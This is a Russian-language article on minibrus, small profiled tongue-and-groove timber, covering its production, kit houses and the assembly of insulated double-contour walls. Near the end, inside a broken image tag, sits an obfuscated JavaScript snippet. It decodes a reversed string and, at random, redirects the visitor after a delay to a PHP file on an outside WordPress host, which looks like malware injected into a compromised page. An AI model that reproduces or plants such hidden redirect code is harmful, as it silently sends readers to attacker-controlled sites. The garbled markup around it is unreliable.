Минибрус: материал для эффективного строительства

Среди всего разнообразия строительных материалов из дерева, используемых для возведения зданий и сооружений, особое место занимает так называемый минибрус.

Этот материал представляет собой профилированные заготовки, которые конструктивно повторяют обычный строительный брус, и отличаются от него лишь меньшими габаритами.

Малогабаритные профилированные детали в сборе

Технология производства

Несмотря на некоторую экзотичность материала, применение минибруса в строительстве практикуется уже на протяжении 20 лет.

Чтобы мы могли максимально полно оценить целесообразность использования маломерных профилированных заготовок, предлагаем разобраться в технологии их производства:

• Минибрусом сегодня называют деревянную планку, вырезанную из цельного древесного ствола. Для изготовления этих деталей используются заготовки толщиной около 50 мм, которые проходят соответствующую обработку.
• Производство минибруса начинается распиливания ствола на доски заданной толщины. При этом для работы отбирается только высококачественная древесина, в основном – хвойных пород.

Станок для профилировки доски

• После распиловки заготовки проходят предварительную сушку, а затем осуществляется их профилирование на четырехсторонних фрезерных станках. В ходе профилирования на верхней и нижней плоскости минибруса формируются гребни и углубления, позволяющие осуществлять стыковку деталей между собой по схеме «шип в паз».

Обратите внимание!
По этому принципу производится не только профилированный строительный брус, но и шпунтованная доска, используемая при настилании полов и внутренней отделке зданий.

• Небольшие габариты замковых элементов и высокая точность профилировки позволяют обеспечить максимально плотную подгонку брусьев при сборке стен.
• После завершения фрезерования заготовки направляются в сушильную камеру. В процессе сушки естественная влажность древесины снижается до 12-14%.

Таким образом, на выходе мы получаем профилированную планку небольшой толщины, которая к тому же является достаточно сухой. Сочетание малых габаритов и низкой влажности является фактором, который серьезно снижает риск деформации при усадке.

Использование минибруса в строительстве

Конструкционные особенности зданий

Как правило, дома из минибруса собираются из готовых наборов.

Такой подход имеет ряд преимуществ:

• Во-первых, набор комплектуется всеми необходимыми материалами для возведения несущих конструкций.
• Во-вторых, качество и габариты заготовок соответствуют строительным нормативам, а при необходимости производитель может осуществить замену бракованного элемента.
• Третье, главное преимущество – это фабричное изготовление угловых замков. Поскольку при этом все выборки и пазы производятся на специализированном оборудовании, качество соединения многократно возрастает.

Угловое соединение деталей

Обратите внимание!
Как правило, в комплекте с материалами идет инструкция от производителя, которая описывает основные моменты технологии сборки.

Чаще всего дома из данного материала монтируются по двух- или трехконтурной схеме. Конструкции «в один брус» также имеют право на существование, однако они могут эксплуатироваться исключительно в летнее время, поскольку тонкие стены не обеспечивают достаточной теплоизоляции.

Двухконтурный вариант

Технология сборки строений из минибруса своими руками такова:

• Вначале возводится капитальное основание. Наиболее подходящими считаются фундаменты ленточного типа, поскольку они обеспечивают опору по всей длине установленных стен.
• На качественно гидроизолированный фундамент (для защиты от влаги можно использовать рубероид или водонепроницаемые мембраны) укладываем опорные брусья, формируя первый венец сруба.
• Ширина венца должна обеспечивать установку обоих контуров из минибруса с необходимым зазором.
• На первый венец устанавливаем профилированные заготовки. Зазор между контурами необходимо делать в соответствии с толщиной утеплителя для бруса, но не менее 100 мм.

Стена в разрезе

• Начинаем наращивать стены, укладывая брусья друг на друга. Конфигурация замков позволяет соединять заготовки без крепежных элементов, клея и уплотнителя.

Совет!
Для осаживания деталей на ровных участках, и особенно на углах необходимо использовать киянку. При осаживании строго контролируем позиционирование брусьев по плоскости.

• Порядок сборки зависит от типа уплотнителя. Если используются плитные материалы, то вначале возводится часть внутреннего контура, а затем постепенно наращивается наружный.
• Для задувки полости внутри стены эковатой (целлюлозным теплоизоляционным материалом) оба контура возводятся параллельно. Заполнение промежутка осуществляется только после завершения постройки стены.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toy.jpg» alt=»Внутренняя перегородка, заполненная эковатой» width=»215″ height=»235″ /> Внутренняя перегородка, заполненная эковатой

Для расчета утеплителя (эковаты) можно воспользоваться калькулятором: